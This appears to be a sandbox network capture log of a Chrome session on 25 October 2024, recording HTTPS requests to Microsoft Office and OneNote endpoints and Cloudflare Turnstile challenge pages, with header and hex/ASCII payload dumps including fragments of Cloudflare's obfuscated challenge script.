2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 68 6a 28 31 37 36 31 29 5d 28 4f 5b 50 5b 51 5d 5d 5b 51 5d 29 29 26 26 28 64 5b 68 6a 28 35 38 33 29 5d 28 52 2c 53 5b 54 5b 55 5d 5d 5b 51 5d 29 7c 7c 56 5b 50 5d 5b 68 6a 28 35 30 30 29 5d 28 64 5b 68 6a 28 31 33 33 38 29 5d 28 27 6f 2e 27 2c 57 5b 58 5b 59 5d 5d 5b 51 5d 29 29 29 2c 51 2b 2b 29 3b 7d 65 6c 73 65 20 5a 5b 50 5d 3d 61 30 5b 61 31 5b 61 32 5d 5d 5b 68 6a 28 36 35 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 61 36 2c 68 6c 29 7b 72 65 74 75 72 6e 20 68 6c 3d 68 6a 2c 4f 5b 68 6c 28 31 39 33 30 29 5d 28 27 6f 2e 27 2c 61 36 29 7d 29 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 68 6a 28 31 38 32 38 29 5d 28 48 3c 3c 31 2c 4d 26 31 29 2c 64 5b 68 6a 28 31 36 34 39 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 Data Ascii: hj(1761)](O[P[Q]][Q]))&&(d[hj(583)](R,S[T[U]][Q])\|\|V[P][hj(500)](d[hj(1338)]('o.',W[X[Y]][Q]))),Q++);}else Z[P]=a0[a1[a2]][hj(658)](function(a6,hl){return hl=hj,O[hl(1930)]('o.',a6)})}else for(M=x[C],s=0;s<F;H=d[hj(1828)](H<<1,M&1),d[hj(1649)](I,j-1)?(I=0
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 69 6f 6e 28 69 2c 6a 2c 6f 2c 68 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 68 6f 3d 68 67 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 6f 28 31 30 32 36 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 64 5b 68 6f 28 37 39 39 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 64 5b 68 6f 28 31 32 34 38 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 68 6f 28 35 37 37 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 Data Ascii: ion(i,j,o,ho,s,x,B,C,D,E,F,G,H,I,J,K,M,L){for(ho=hg,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Math[ho(1026)](2,2),F=1;K!=F;L=d[ho(799)](G,H),H>>=1,d[ho(1248)](0,H)&&(H=j,G=o(I++)),J\|=(d[ho(577)](0,L)?1:0)*F,F<<=1);switch(J){case
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 7b 68 70 3d 67 4c 2c 64 3d 7b 7d 2c 64 5b 68 70 28 38 39 34 29 5d 3d 68 70 28 35 34 37 29 2c 64 5b 68 70 28 31 38 31 32 29 5d 3d 68 70 28 31 32 38 35 29 2c 64 5b 68 70 28 38 36 34 29 5d 3d 68 70 28 31 35 31 35 29 2c 64 5b 68 70 28 36 32 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 68 70 28 36 32 36 29 5d 28 31 65 33 2c 65 4d 5b 68 70 28 31 30 39 38 29 5d 5b 68 70 28 31 32 32 35 29 5d 28 32 2e 36 32 3c 3c 66 2c 33 32 29 29 2c 65 4d 5b 68 70 28 31 30 33 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 71 29 7b 68 71 3d 68 70 2c 65 4d 5b 65 5b 68 71 28 38 39 34 29 5d 5d 26 26 28 65 4d 5b 68 71 28 31 30 38 34 29 5d 5b 68 71 28 31 35 37 37 29 5d 28 29 2c 65 4d 5b 68 71 28 31 30 38 34 29 Data Ascii: {hp=gL,d={},d[hp(894)]=hp(547),d[hp(1812)]=hp(1285),d[hp(864)]=hp(1515),d[hp(626)]=function(h,i){return h*i},e=d,f=1,g=e[hp(626)](1e3,eM[hp(1098)][hp(1225)](2.62<<f,32)),eM[hp(1030)](function(hq){hq=hp,eM[e[hq(894)]]&&(eM[hq(1084)][hq(1577)](),eM[hq(1084)
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 5d 28 69 5b 68 72 28 31 34 34 35 29 5d 28 69 5b 68 72 28 34 39 38 29 5d 2c 6c 29 2c 68 72 28 31 36 31 33 29 29 2b 31 2c 69 5b 68 72 28 36 31 39 29 5d 29 2b 65 4d 5b 68 72 28 31 38 30 39 29 5d 5b 68 72 28 34 38 39 29 5d 2b 27 2f 27 2b 65 4d 5b 68 72 28 31 38 30 39 29 5d 2e 63 48 2c 27 2f 27 29 2b 65 4d 5b 68 72 28 31 38 30 39 29 5d 5b 68 72 28 31 38 32 30 29 5d 2c 6e 3d 7b 7d 2c 6e 5b 68 72 28 39 36 38 29 5d 3d 65 4d 5b 68 72 28 31 38 30 39 29 5d 5b 68 72 28 39 36 38 29 5d 2c 6e 5b 68 72 28 39 34 33 29 5d 3d 65 4d 5b 68 72 28 31 38 30 39 29 5d 5b 68 72 28 39 34 33 29 5d 2c 6e 5b 68 72 28 31 34 37 34 29 5d 3d 65 4d 5b 68 72 28 31 38 30 39 29 5d 5b 68 72 28 31 34 37 34 29 5d 2c 6e 5b 68 72 28 31 36 31 34 29 5d 3d 65 4d 5b 68 72 28 31 38 30 39 29 5d 5b 68 72 Data Ascii: ](i[hr(1445)](i[hr(498)],l),hr(1613))+1,i[hr(619)])+eM[hr(1809)][hr(489)]+'/'+eM[hr(1809)].cH,'/')+eM[hr(1809)][hr(1820)],n={},n[hr(968)]=eM[hr(1809)][hr(968)],n[hr(943)]=eM[hr(1809)][hr(943)],n[hr(1474)]=eM[hr(1809)][hr(1474)],n[hr(1614)]=eM[hr(1809)][hr
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 7d 2c 6e 5b 68 76 28 39 33 36 29 5d 3d 65 2c 6e 5b 68 76 28 31 31 39 31 29 5d 3d 66 2c 6e 5b 68 76 28 31 31 38 38 29 5d 3d 67 2c 6e 5b 68 76 28 31 37 31 38 29 5d 3d 68 2c 6e 5b 68 76 28 36 30 33 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 68 76 28 31 30 33 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 78 29 7b 68 78 3d 68 76 2c 65 4d 5b 68 78 28 35 39 34 29 5d 28 6f 2c 75 6e 64 65 66 69 6e 65 64 2c 68 78 28 34 37 35 29 29 7d 2c 31 30 29 2c 65 4d 5b 68 76 28 31 30 33 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 79 29 7b 68 79 3d 68 76 2c 65 4d 5b 68 79 28 39 36 32 29 5d 28 29 7d 2c 31 65 33 29 2c 65 4d 5b 68 76 28 31 34 34 31 29 5d 5b 68 76 28 31 34 35 38 29 5d 28 68 76 28 31 30 31 31 29 2c 65 29 29 3b 72 65 74 75 72 6e 21 5b 5d 7d 2c 66 6d 3d 7b 7d 2c 66 6d 5b 67 4c 28 Data Ascii: },n[hv(936)]=e,n[hv(1191)]=f,n[hv(1188)]=g,n[hv(1718)]=h,n[hv(603)]=i,o=n,eM[hv(1030)](function(hx){hx=hv,eM[hx(594)](o,undefined,hx(475))},10),eM[hv(1030)](function(hy){hy=hv,eM[hy(962)]()},1e3),eM[hv(1441)][hv(1458)](hv(1011),e));return![]},fm={},fm[gL(
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 6a 39 28 38 37 34 29 5d 3d 63 5b 6a 39 28 35 32 39 29 5d 2c 67 5b 6a 39 28 31 33 35 37 29 5d 3d 6a 39 28 31 32 38 35 29 2c 67 5b 6a 39 28 34 36 32 29 5d 3d 6a 39 28 31 35 31 35 29 2c 68 3d 67 2c 69 3d 31 2c 6a 3d 63 5b 6a 39 28 31 36 31 32 29 5d 28 31 65 33 2c 6e 5b 6a 39 28 31 30 39 38 29 5d 5b 6a 39 28 31 32 32 35 29 5d 28 63 5b 6a 39 28 31 36 30 30 29 5d 28 32 2c 69 29 2c 33 32 29 29 2c 6f 5b 6a 39 28 31 30 33 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6a 61 2c 5a 29 7b 28 6a 61 3d 6a 39 2c 69 5b 6a 61 28 35 34 37 29 5d 29 26 26 28 51 5b 6a 61 28 31 30 38 34 29 5d 5b 6a 61 28 31 35 37 37 29 5d 28 29 2c 52 5b 6a 61 28 31 30 38 34 29 5d 5b 6a 61 28 31 39 31 36 29 5d 28 29 2c 53 5b 6a 61 28 31 34 32 34 29 5d 3d 21 21 5b 5d 2c 5a 3d 7b 7d 2c 5a 5b 6a 61 28 31 Data Ascii: j9(874)]=c[j9(529)],g[j9(1357)]=j9(1285),g[j9(462)]=j9(1515),h=g,i=1,j=c[j9(1612)](1e3,n[j9(1098)][j9(1225)](c[j9(1600)](2,i),32)),o[j9(1030)](function(ja,Z){(ja=j9,i[ja(547)])&&(Q[ja(1084)][ja(1577)](),R[ja(1084)][ja(1916)](),S[ja(1424)]=!![],Z={},Z[ja(1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49980	52.108.10.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:20 UTC	416	OUT	GET /suite/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: common.online.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:20 UTC	1234	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS6-ARRAffinity=71521550922961a2229150045e1b0a3d2e501fdf6d43797b52beadf01ce157a2;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned; httponly X-CorrelationId: e47fedc3-5fcf-46bc-9b33-0be51a233658 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF0000EA20 X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000136EB X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 8E9471F54F054280A5F2C71A3FCC26F9 Ref B: SN4AA2022404011 Ref C: 2024-10-25T08:19:20Z Date: Fri, 25 Oct 2024 08:19:20 GMT Connection: close
2024-10-25 08:19:20 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-10-25 08:19:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49982	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:20 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:20 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:20 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8d80c7f5aa484626-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49983	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:20 UTC	639	OUT	GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; ShCLSessionID=1729844349229_0.9147422252239774
2024-10-25 08:19:20 UTC	965	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3795 Content-Type: application/json; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: bf7c78cd-d318-4a9e-b486-d3ec0f2b7049 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00015717 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS1 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-OFFICEFD: DM3PEPF00015717 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: CEF31A731EFA400AAF1106C4816C29FA Ref B: DFW311000106027 Ref C: 2024-10-25T08:19:20Z Date: Fri, 25 Oct 2024 08:19:20 GMT Connection: close
2024-10-25 08:19:20 UTC	2015	IN	Data Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 39 38 34 34 33 36 30 39 30 33 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 6c 73 48 65 61 72 74 42 65 61 74 49 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 43 6f 6d 6d 6f 6e 48 6f 73 74 44 69 61 67 6e 6f 73 74 69 63 73 50 61 72 61 6d 73 22 3a 74 72 75 65 2c 22 53 68 6f 75 6c 64 4c 6f 67 4a 73 41 70 69 4b 70 69 73 46 6f 72 57 6f 72 64 22 3a 74 72 75 65 2c 22 45 6e 61 62 6c 65 46 72 61 6d 65 50 61 67 65 45 72 72 6f 72 52 65 70 6f 72 74 69 6e 67 46 6f 72 57 6f 72 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 54 65 6c 65 6d 65 74 72 79 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 Data Ascii: {"timestamp":1729844360903,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"EnableWordSessionRefresh
2024-10-25 08:19:20 UTC	1780	IN	Data Raw: 2c 35 30 37 37 37 35 31 38 33 2c 35 30 37 38 34 30 33 35 35 2c 35 30 37 38 36 37 36 31 31 2c 35 30 37 38 39 32 36 37 32 2c 35 30 38 31 31 37 30 39 30 2c 35 30 38 31 31 37 30 39 31 2c 35 30 38 31 32 33 33 35 33 2c 35 30 38 31 33 30 37 32 31 2c 35 30 38 31 33 34 34 39 39 2c 35 30 38 31 33 34 35 33 30 2c 35 30 38 31 34 33 33 30 33 2c 35 30 38 33 30 32 34 31 38 2c 35 30 38 33 35 39 33 36 38 2c 35 30 38 36 33 30 34 37 34 2c 35 30 38 36 35 35 33 33 30 2c 35 30 38 38 32 32 34 32 34 2c 35 30 38 38 32 36 38 34 31 2c 35 30 38 38 39 33 32 36 36 2c 35 30 38 39 30 35 36 38 32 2c 35 30 39 30 39 36 39 39 34 2c 35 30 39 31 33 37 33 34 39 2c 35 30 39 32 30 33 35 35 33 2c 35 30 39 34 33 37 35 33 35 2c 35 30 39 37 34 33 33 36 32 2c 35 31 30 32 35 32 34 33 35 2c 35 31 32 32 Data Ascii: ,507775183,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508655330,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,5122

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49985	13.107.246.45	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:21 UTC	720	OUT	GET /officeaddins/learningtools/?et= HTTP/1.1 Host: www.onenote.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:21 UTC	1155	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2309 Connection: close Cache-Control: private X-RoutingOfficeCluster: wus-azsc-000.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_7 X-RoutingOfficeVersion: 16.0.18218.40454 X-RoutingSessionId: cebc9818-d803-46ff-87a2-4388110a1347 X-RoutingCorrelationId: 5ffbe522-5a08-44e4-823f-33d79fe86f87 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" P3P: CP="P3P is not supported anymore; see: https://msdn.microsoft.com/en-us/library/mt146424%28v=vs.85%29.aspx" x-correlationid: 5ffbe522-5a08-44e4-823f-33d79fe86f87 x-usersessionid: cebc9818-d803-46ff-87a2-4388110a1347 x-officefe: AgavesFrontEnd_IN_5 x-officeversion: 16.0.18218.40453 x-officecluster: wus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-content-type-options: nosniff x-azure-ref: 20241025T081921Z-16849878b788tnsxzb2smucwdc00000008y000000000add0 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-10-25 08:19:21 UTC	2309	IN	Data Raw: 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0d 0a 09 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6f 6e 65 6e 6f 74 65 2e 6e 65 74 2f 6f 66 66 69 63 65 61 64 64 69 6e 73 2f 31 36 31 38 32 31 38 34 30 34 35 33 5f 53 63 72 69 70 74 73 2f 43 6f 6d 6d 6f 6e 44 69 61 67 6e 6f 73 74 69 63 73 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 3c 73 63 72 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="utf-8"><title></title><script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161821840453_Scripts/CommonDiagnostics.js" crossorigin="anonymous"></script><scr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49988	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:21 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:21 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:21 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8d80c7fa7d524770-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:21 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50000	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:21 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c7f0395d4869&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:21 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:21 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122438 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c7fc1a62cb75-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:21 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 45 73 72 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.vEsr2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcl
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 65 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f Data Ascii: e.","turnstile_verifying":"Verifying...","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_failure":"Error","testing_only":"Testing%20only.","outdated_browser":"Your%20browser%20is%20o
2024-10-25 08:19:21 UTC	1369	IN	Data Raw: 28 31 36 38 36 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 34 31 38 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 31 34 33 35 29 29 2f 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 34 38 36 29 29 2f 39 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 33 38 30 29 29 2f 31 30 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 37 36 34 29 29 2f 31 31 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 38 30 36 34 31 33 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 31 32 36 35 29 5d 2c 65 4d 5b 67 4c 28 31 31 33 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 